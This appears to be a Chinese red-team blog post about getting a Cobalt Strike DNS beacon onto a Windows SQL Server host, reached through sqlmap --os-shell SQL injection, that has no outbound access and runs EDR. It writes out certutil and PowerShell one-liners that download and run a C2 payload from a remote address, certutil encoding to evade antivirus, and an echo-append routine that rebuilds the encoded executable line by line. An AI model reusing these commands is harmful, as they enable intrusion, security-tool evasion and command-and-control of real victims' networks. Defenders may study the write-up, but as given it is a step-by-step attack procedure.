0# 概述
在前期Web打点成功获得对应权限后,就进入了后渗透(提权、内网渗透、域渗透)的阶段,但是在有些时候,总会出现各种各样奇怪的情况,在此也分享一些经验出来。
最近在打红队外援碰到了一个站点存在SQL注入,于是尝试用SqlMap对网站进行注入,发现注入成功,但由此也引发了一系列问题。
可能你看完本篇文章,会觉得原理其实很简单。但试问你自己,在面对以下情况的时候,能想到通过这样的手法达成你的目的吗?这就是本文的意义
1# 情况描述
通过SqlMap进行输入后,通过参数 --os-shell
成功获取目标系统命令行的执行权限,如下:
- 目标系统:Microsoft Windows Server 2012 R2 Standard
- 数据库系统:Microsoft SQL Server 2012
- 域:
ev****.cn
- whoami:
nt service\mssqlserver
- 文件管理情况:只有部分目录的读写权限,无法写入Web目录
- 命令使用情况:无法使用PowerShell
- 杀软情况:有安装深信服EDR(
edr_monitor.exe
/edr_agent.exe
/edr_sec_plan.exe
) - 网络连接情况:不出网,但能DNS解析
当我尝试写入Web目录的时候,难蚌:
2# 情况分析
怎么判断不出网但能DNS解析呢?如下图:
通常来说,在红蓝攻防中Web打点成功后,一般会上传C2并上线清理入侵痕迹,然后再去搜索敏感文件以及对内网资产进行探查。
上传C2到服务器一般有以下操作(针对Win):
- 通过WebShell上传C2文件并执行
- 通过
Certutil
远程下载C2文件并执行 - 通过
PowerShell
远程下载C2文件并执行
通过 Certutil
远程下载C2文件并执行
certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数
通过 PowerShell
远程下载C2文件并执行
powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数
但我们目前的情况是不出网,那就意味着无法通过公网直接下载可执行文件,也无法正常上线C2服务,在这种SQL注入恶劣环境我们该何去何从呢?
这种情况,写入可执行文件都很难了,上线C2都基本不可能了,更别说提权和内网渗透了。。
3# 骚操作开始
我刚开始也卡了半天,没有权限写Web目录(意味着写不了Webshell),登录网站后台也没有什么功能点(没有文件上传、没有文件包含),不出网也就无法下载相关的可执行文件,让我一时半会没了方向。
摸了几天,同时也请教了不少大佬,感觉都没思路了,突然想起来我之前这篇文章: 苛刻条件下:C2上传执行骚姿势 ,于是我有了一个大胆的想法,我决定尝试一下
我们再来复习一下Windows系统的自带工具:Certutil
certutil.exe
是一个合法Windows文件,用于管理Windows证书的程序。
微软官方是这样对它解释的:
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。
您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。
但是此合法Windows服务,现已被广泛滥用于恶意用途
很多人只知道可以通过 Certutil
进行远程下载文件(会被杀软拦截),但不知道它还能加密解密本地文件(不会报毒,可以用来ByPassAV)
那我就通过本次实战案例,给大家演示一下它在SQL注入恶劣环境中的妙用:
3.1 加密C2可执行文件
因为上文说到目标服务器不出网但能DNS解析,于是本次我们打算通过DNS上线CobaltStrike木马,首先配置DNS:
然后在CobaltStrike选择DNS上线方式即可,很简单这里就不赘述了,如果不会请自行百度
然后,准备好DNS上线的可执行文件文件 dns.exe
,通过 Certutil
进行加密导出为 dns.txt
:
Certutil -encode dns.exe dns.txt
3.2 生成骚操作文件写入命令集
众所周知,通过命令行使用 echo
命令可以进行文件写入,其实是可以分为追加写入和覆盖写入的:
覆盖写入样例(只要有写入权限,1.txt
里面的内容都会覆写)
echo 1 > 1.txt
//将 1 覆盖写入 1.txt
追加写入样例(只要有写入权限,1.txt
里面的内容会被追加写入)
echo 1 >> 1.txt
//将 1 追加写入到 1.txt 的末尾
那我们就可以将上文生成的 dns.txt
,通过这种方式写入到服务器上,然后在服务器上通过 Certutil
接码出来就行了。理论存在,实践开始:
先新建一个电子表(dns.xlsx
),将 dns.txt
复制到B列,然后其他列输入一下内容:
echo
//A列内容(echo后面有个空格)
>> C:/Users/MSSQLSERVER/Desktop/dns.txt
//C列内容,后面路径填之前测试的能写入的路径即可
&& echo 1
//D列内容,双击表格右下角即可自动填充
接下来点击单元格右下角,自动填充即可,填充完如下:
提问:为什么表格D列最后要带上一个
&& echo 1
的东西?
回答:因为SqlMap执行--os-shell
的时候回获取执行命令的回显,如果没有回显会卡挺久的,这个内容主要是给它一个回显,同时也能让攻击者知道写入多少行内容了,这是我自己琢磨出来的,我是不是很聪明哈哈~
做好表格后,全选然后复制,新建一个TXT文件粘贴进去:
但是会发现,中间有一些特殊的空格(表格的分列符),我们要批量删掉:
然后再把第一行的 >>
改为 >
,其他保持不变即可(防止文件之前有写入其他内容):
3.3 使用骚操作写入编码后的TXT
然后通过SqlMap进行注入拿到 os-shell
,记得注入的时候一定要带参数 --batch
(自动选择选项),这很重要:
运行后,成功拿到 os-shell
这时候直接将上面生成的命令集的所有内容,用右键粘贴进行即可:
这里全选复制,再粘贴就行了(因为前面给了参数 --batch
)会自动一行一行的执行,不需要你手动操作了
即可实现自动化写入TXT,这下知道我最后带&& echo 1
的作用了吧,截图如下:
注意,这里的操作一定要网络稳定!!!中间出错了一行,TXT解密为EXE的时候就会失败!!!
3.4 写入TXT后解码出EXE
将 dns.txt
有惊无险的写入后,用 Certutil
进行解密操作即可:
Certutil -decode C:/Users/MSSQLSERVER/Desktop/dns.txt C:/Users/MSSQLSERVER/Desktop/dns.exe
然后再运行解密出的EXE即可通过DNS上线CobaltStrike木马啦~
接下来就可以通过C2服务,来对内网的域进行域渗透哈哈。
4# 总结
在日常的渗透实战过程中,总会碰到棘手的难题。很多人往往"知难而退",但我们不能退缩,因为只有渡过这样的难关,才能带给你蜕变和成长。
每一次的实践、磨砺以及收获,都是自己通往未来的基石,请认真把握好每一次成长的机会吧。很多时候,是自己去让自己成长,业精于勤,荒于嬉。
希望这篇文章,能给困难中的你带来帮助~
如果有什么更好的思路,欢迎各位师傅和我交流哈哈~